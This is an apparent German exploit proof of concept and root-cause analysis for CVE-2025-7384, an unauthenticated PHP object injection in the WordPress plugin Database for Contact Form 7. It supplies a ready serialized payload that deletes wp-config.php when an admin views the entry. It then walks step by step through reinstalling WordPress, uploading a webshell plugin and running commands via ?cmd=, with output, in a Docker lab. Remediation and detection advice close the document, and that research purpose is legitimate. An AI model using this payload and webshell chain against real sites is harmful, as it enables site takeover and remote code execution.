
Exploit-PoC und Root-Cause-Analyse für eine kritische, nicht authentifizierte PHP-Objektinjektion in WordPress Database for Contact Form 7, die über beliebiges Löschen von Dateien zu RCE führt.
Plugin: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (Kritisch)
CWE: CWE-502 — Deserialisierung nicht vertrauenswürdiger Daten
Authentifizierungsanforderung: Keine (nicht authentifiziert)
Auswirkung: Remote Code Execution
Das Plugin „Database for Contact Form 7" (Slug: contact-form-entries) in Version 1.4.3 und früher enthält eine Schwachstelle zur PHP-Objektinjektion. Wenn ein WordPress-Administrator einen Formulardatensatz (Eintrag) im Admin-Panel anzeigt, ruft das Plugin die Funktion maybe_unserialize() direkt mit Daten auf, die ein nicht authentifizierter Benutzer über Contact Form 7 übermittelt hat, ohne die Liste der zulässigen zu instanziierenden Klassen zu kontrollieren.
Ein Angreifer muss sich nicht anmelden — er muss lediglich ein normales Kontaktformular absenden und dabei ein serialisiertes PHP-Objekt in ein beliebiges Formularfeld einfügen. Diese Daten werden unverändert in der Datenbank gespeichert. Wenn ein Administrator den Eintrag zur Ansicht öffnet, instanziiert die Deserialisierungsfunktion ein Objekt nach Wahl des Angreifers und löst damit Magische Methoden wie __destruct() oder __wakeup() aus → abhängig von den im WordPress-Umfeld verfügbaren POP-Gadgets wird beliebiges Verhalten ausgeführt.
Schweregrad: Mit einem geeigneten POP-Gadget (zum Beispiel einer Klasse, deren
__destruct()-Methodeunlink()aufruft), kann ein Angreifer die Dateiwp-config.phplöschen, wodurch WordPress zum anfänglichen Installationsbildschirm zurückkehrt → Neuinstallation mit einem vom Angreifer kontrollierten Administrator-Konto → Installation eines Plugins mit Webshell → vollständige Remote Code Execution (RCE) auf dem Server.
PHP verwendet serialize(), um ein Objekt in einen strukturierten Textstring zu konvertieren, und unserialize(), um das Objekt aus diesem String wiederherzustellen. Wenn unserialize() Daten aus einer nicht vertrauenswürdigen Quelle (z. B. Benutzereingaben) erhält, kann ein Angreifer ein beliebiges Objekt konstruieren, das zu einer Klasse gehört, die zu diesem Zeitpunkt im PHP-Speicher geladen ist.
Besondere Methoden, die PHP automatisch während des Lebenszyklus eines Objekts aufruft. Am wichtigsten in diesem Zusammenhang:
__wakeup() — wird sofort aufgerufen, wenn ein Objekt deserialisiert wird__destruct() — wird aufgerufen, wenn ein Objekt zerstört wird (den Gültigkeitsbereich verlässt oder die Anfrage endet)__toString() — wird aufgerufen, wenn ein Objekt in einen String umgewandelt wirdEine Technik, bei der mehrere Magische Methoden aus vorhandenen Klassen innerhalb der Anwendung zu einer gefährlichen Abfolge von Verhaltensweisen verkettet werden. Der Angreifer schreibt keinen neuen Code — er manipuliert lediglich die Eigenschaften vorhandener Objekte, sodass bei der Ausführung der Magischen Methoden Aktionen durchgeführt werden, die von den Entwicklern nicht beabsichtigt waren.
maybe_unserialize() in WordPressEine Wrapper-Funktion des WordPress-Kerns. Sie ruft is_serialized() auf, um zu prüfen, ob ein String serialisierte Daten enthält — falls ja, ruft sie unserialize() auf, um das Objekt wiederherzustellen. Problem: Diese Funktion übergibt den Parameter allowed_classes (verfügbar seit PHP 7.0) nicht, um einzuschränken, welche Klassen instanziiert werden dürfen.
Durchsuchen Sie den gesamten Plugin-Quellcode per grep, um Deserialisierungsfunktionen zu lokalisieren — diese gehören zu den gefährlichsten Funktionen in PHP, da sie zu Objektinjektion führen können:
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

Die Ausgabe zeigt mehrere Aufrufstellen für maybe_unserialize(), insbesondere in includes/data.php Zeile 545 innerhalb der Funktion verify_val():

// data.php lines 538-548
public function verify_val($string){
if(in_array(substr(ltrim($string),0,1), array('{','['))
&& in_array(substr(rtrim($string),-1), array('}',']'))
){
$val = json_decode($string, 1);
if(is_array($val)){ $string = $val; }
} else if(is_serialized($string)){ // line 544
$string = maybe_unserialize($string); // ★ line 545 — SINK
}
return $string;
}
Kernfrage: Woher stammt die Variable $string? Wenn sie ohne Filterung aus Benutzereingaben stammt → handelt es sich um eine Schwachstelle.
Finden Sie heraus, wo verify_val() aufgerufen wird. Verfolgen Sie die Aufrufe in derselben Datei data.php rückwärts:

// data.php lines 520-535
public function get_lead_detail($lead_id){
global $wpdb;
$table = $wpdb->prefix . 'vxcf_leads_detail';
$detail_arr = $wpdb->get_results(
$wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
ARRAY_A
);
foreach($detail_arr as $k => $v){
if(!empty($v['value'])){
$detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← calls verify_val
}
}
return $detail_arr;
}
→ $string ist exakt $v['value'] — Werte, die aus der Datenbanktabelle wp_vxcf_leads_detail abgerufen werden. Diese Funktion wird aufgerufen, wenn ein Administrator die Details eines Formulareintrags anzeigt.
Nächste Frage: Woher stammen die Daten in wp_vxcf_leads_detail? Wer schreibt sie?
Aus Schritt 2 wissen wir, dass Daten aus der Datenbank gelesen werden. Nächste Frage: Wer schreibt Daten hinein? Suchen Sie nach INSERT-Abfragen in data.php:
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

Öffnen Sie den Code der Funktion create_lead() (Zeilen 85–103) für Details:

In den Zeilen 98–99 wird der Wert $v — also der Inhalt eines Formularfelds (z. B. your-message) — über $wpdb->insert() direkt in die Datenbank eingefügt. Das Plugin greift in das Ereignis wpcf7_before_send_mail von Contact Form 7 ein, sodass bei jeder Formularabsendung alle Felder unverändert gespeichert werden.
Zusätzliche Prüfung: Das Plugin verwendet vor dem Speichern zwar sanitize_text_field() und sanitize_textarea_field(), aber diese beiden Funktionen entfernen lediglich HTML-Tags und spezielle HTML-Zeichen — ein serialisiertes Payload wie O:21:"VulnerableFileHandler":2:{...} enthält keine HTML-Tags und passiert daher vollständig unverändert.
An diesem Punkt ist der vollständige Ablauf geklärt:
Unauthenticated user submits CF7 form (your-message field contains serialized object)
↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
↓
Admin views entry → get_lead_detail() → verify_val()
↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
↓
Object's __destruct() executes → performs attacker-controlled action
Grundursache: Die Funktion
maybe_unserialize()indata.php:545wird mit Daten aufgerufen, die aus nicht authentifizierten Benutzereingaben stammen, ohneallowed_classes: falsezu übergeben. Ein Angreifer muss lediglich ein serialisiertes PHP-Objekt über das Feldyour-messageeines CF7-Formulars absenden → wenn ein Administrator den Eintrag anzeigt, instanziiert PHP dieses Objekt und löst die Magische Methode__destruct()aus.
Zum visuellen Nachweis setzen Sie mit Xdebug einen Breakpoint in Zeile 545 von data.php. Nachdem das Payload über das Formular injiziert wurde und der Administrator den Eintrag anzeigt, hält der Debugger exakt bei maybe_unserialize() an:

Variablen-Panel zeigt $string mit dem Payload des Angreifers:
$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → das Payload gelangte vom Formular → in die Datenbank → in die Deserialisierungsfunktion, ohne blockiert zu werdenAusführungszeile:
$string=maybe_unserialize($string);Call-Stack zeigt die Funktionsaufruf-Sequenz:
vxcf_form_data->verify_val data.php:545
vxcf_form_data->get_entries data.php:388
vxcf_form::get_entries contact-form-entries.php:2682
vxcf_form_pages->entries_page plugin-pages.php:1017
...
WP_Hook->apply_filters class-wp-hook.php:324
WP_Hook->do_action class-wp-hook.php:348
→ Bestätigt den exakt analysierten Ablauf: Administrator zeigt Eintrag an → get_entries() → verify_val() → maybe_unserialize().
Die Angriffskette besteht aus 5 Stufen. Der Angreifer muss nur Stufe 1 ausführen (Formularabsendung). Die Stufen 2–5 laufen automatisch ab, nachdem ein Administrator den Eintrag anzeigt.
Der Angreifer sendet ein CF7-Formular mit einem serialisierten PHP-Objekt im Nachrichtenfeld ab.
POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedbackyour-message enthält: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}wp_vxcf_leads_detail — sanitize_text_field() blockiert serialisierte Strings nichtDer Administrator öffnet die Seite „Contact Form Entries" → zeigt die Eintragsdetails an → das Plugin ruft verify_val() → maybe_unserialize() auf.
VulnerableFileHandler mit file_path = "/var/www/html/wp-config.php" und cleanup = true__destruct() auf → unlink("/var/www/html/wp-config.php")Die Datei wp-config.php wird gelöscht → WordPress verliert die Datenbankverbindung.
http://target/ → leitet automatisch auf /wp-admin/setup-config.php weiter (erster Einrichtungsbildschirm)Der Angreifer installiert WordPress mit bekannten (oder per Brute-Force ermittelten) Datenbank-Zugangsdaten neu.
Ein Plugin installieren, das eine Webshell enthält → beliebige Systembefehle ausführen.
/wp-content/plugins/shell/shell.php?cmd=iduid=33(www-data) gid=33(www-data) → RCE abgeschlossenStarten Sie das Docker-Lab, das WordPress + das verwundbare Plugin enthält:
cd CVE-2025-7384
docker-compose up --build -d
Warten Sie etwa 40 Sekunden, bis die Logs LAB READY anzeigen. Rufen Sie http://localhost:8181 auf, um zu prüfen, dass WordPress läuft.
Aus der Quellcode-Analyse in Abschnitt 3 wissen wir:
data.php:545 — maybe_unserialize() auf Formularfeldwertewp_vxcf_leads_detail — die Daten stammen aus dem CF7-Formularsanitize_text_field() — blockiert serialisierte Strings nicht→ Fazit: Senden Sie einfach ein serialisiertes PHP-Objekt in ein beliebiges Feld des CF7-Formulars. Wählen Sie your-message, da es sich um ein Textarea handelt, lange Strings akzeptiert und weniger Formatvalidierung aufweist (anders als your-email, das ein E-Mail-Format erfordert).
Rufen Sie http://localhost:8181/contact/ auf und füllen Sie das Formular wie folgt aus:
| Feld | Wert |
|---|---|
| Ihr Name | dung |
| Ihre E-Mail | [email protected] |
| Betreff | test inject |
| Ihre Nachricht | O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;} |

Erklärung des Payloads:
O:21:"VulnerableFileHandler" — instanziiert die Klasse VulnerableFileHandler (deren __destruct() unlink() aufruft)s:9:"file_path";s:27:"/var/www/html/wp-config.php" — die Eigenschaft file_path zeigt auf die zu löschende Zieldateis:7:"cleanup";b:1 — die Eigenschaft cleanup = true, damit __destruct() unlink() ausführtKlicken Sie auf Senden. Das Formular zeigt eine Fehlermeldung beim Mail-Versand (oder Erfolg) — irrelevant, da das Plugin contact-form-entries alle Daten bereits vor der Mail-Zustellung in der Datenbank gespeichert hat.
Melden Sie sich unter http://localhost:8181/wp-admin an (admin / admin123) → wählen Sie im linken Menü CRM Entries → klicken Sie auf den empfangenen Eintrag, um ihn anzuzeigen.

Dies ist der genaue Moment, in dem die Ausführung data.php:545 erreicht — das Plugin holt den Wert von your-message aus der Datenbank, die Prüfung is_serialized() liefert true, ruft maybe_unserialize() auf → PHP erstellt das Objekt VulnerableFileHandler → die Anfrage endet, __destruct() wird ausgeführt → unlink("/var/www/html/wp-config.php").
Navigieren Sie im Browser zu http://localhost:8181/ → WordPress leitet auf die Seite /wp-admin/setup-config.php weiter (erster Einrichtungsbildschirm) → die Datei wp-config.php wurde erfolgreich gelöscht.

Nach dem Löschen von wp-config.php fällt WordPress in den nicht installierten Zustand zurück. Schritte des Angreifers:
Schritt 1 — WordPress neu installieren:
Rufen Sie http://localhost:8181/wp-admin/setup-config.php auf → geben Sie die Datenbank-Zugangsdaten ein:
| Feld | Wert |
|---|---|
| Datenbankname | wordpress |
| Benutzername | wpuser |
| Passwort | wppass |
| Datenbank-Host | db |
| Tabellenpräfix |
Klicken Sie auf „Senden" → führen Sie die Installation aus → erstellen Sie ein neues, vom Angreifer kontrolliertes Administrator-Konto.
Schritt 2 — Webshell hochladen:
Melden Sie sich im Admin-Dashboard an → Plugins → Neu hinzufügen → Plugin hochladen → laden Sie die Datei system-health.zip (oder system-monitor.zip) hoch.

Hochladen und Aktivieren erfolgreich.
Schritt 3 — Befehle ausführen (RCE):
Aufruf: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

Ausgabe: uid=33(www-data) gid=33(www-data) → Remote Code Execution abgeschlossen
Aufruf: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

Ausgabe: www-data → Remote Code Execution abgeschlossen
*Benutzerinteraktion: NVD bewertet dies als „Keine", da das Betrachten von Formulareinträgen durch einen Administrator erwartetes Verhalten darstellt und keine anomale Benutzerinteraktion ist.
Verwenden Sie maybe_unserialize() nicht für benutzergelieferte Daten. Verwenden Sie stattdessen json_decode(), wenn eine strukturierte Datenspeicherung erforderlich ist.
Falls eine Deserialisierung unbedingt erforderlich ist, übergeben Sie die Option allowed_classes: false (PHP 7.0+):
$data = unserialize($string, ['allowed_classes' => false]);
Dies verhindert, dass PHP Objekte instanziiert — es sind nur skalare Typen und Arrays erlaubt.
/^[OaCis]:\d+/ entspricht (Indikator für serialisierte Daten).wp_vxcf_leads_detail auf Einträge, die Strings im Format O:XX:"ClassName": enthalten — deren Vorhandensein deutet auf Angriffsversuche hinwp-config.php restriktive Dateiberechtigungen hat (440 oder 400) — verringert die Wahrscheinlichkeit einer Löschung durch den Webserver-Prozess// BEFORE (vulnerable):
} else if(is_serialized($string)){
$string = maybe_unserialize($string);
}
// AFTER (patched):
} else if(is_serialized($string)){
$string = json_decode(json_encode(
unserialize($string, ['allowed_classes' => false])
), true);
}
| Attribut | Wert |
|---|
| CVE ID | CVE-2025-7384 |
| CVSS-Score | 9.8 (Kritisch) |
| CWE | CWE-502 — Deserialisierung nicht vertrauenswürdiger Daten |
| Betroffenes Plugin | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 |
| Authentifizierungsanforderung | Keine — jeder, der ein CF7-Formular absendet, kann ein Payload injizieren |
| Auslösebedingung | Administrator betrachtet den injizierten Eintrag im Admin-Panel |
| Maximale Auswirkung | Nicht authentifizierte Remote Code Execution |
| Behobene Version | 1.4.4+ (ersetzt unserialize durch json_decode bzw. allowed_classes: false) |
| wp_ |
| CVSS-Metrik | Wert | Erklärung |
|---|
| Angriffsvektor | Netzwerk | Über HTTP ausnutzbar, kein physischer Zugriff erforderlich |
| Angriffskomplexität | Niedrig | Erfordert nur das Senden einer einzigen POST-Anfrage mit Payload |
| Erforderliche Privilegien | Keine | Keine Authentifizierung erforderlich — CF7-Formular ist öffentlich zugänglich |
| Benutzerinteraktion | Keine* | Administrator betrachtet Einträge im normalen Arbeitsablauf |
| Vertraulichkeit | Hoch | RCE ermöglicht das Lesen beliebiger Dateien auf dem Server |
| Integrität | Hoch | RCE ermöglicht das Schreiben/Ändern beliebiger Dateien |
| Verfügbarkeit | Hoch | Das Löschen von wp-config.php bringt die gesamte Website zum Absturz |